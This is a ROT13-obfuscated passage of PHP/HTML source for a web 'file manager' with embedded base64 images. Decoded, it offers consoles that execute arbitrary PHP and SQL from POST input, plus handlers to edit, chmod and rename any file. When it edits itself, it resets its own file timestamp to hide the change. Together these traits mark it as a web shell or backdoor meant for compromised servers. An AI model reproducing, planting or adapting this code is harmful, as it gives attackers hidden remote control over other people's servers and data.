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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
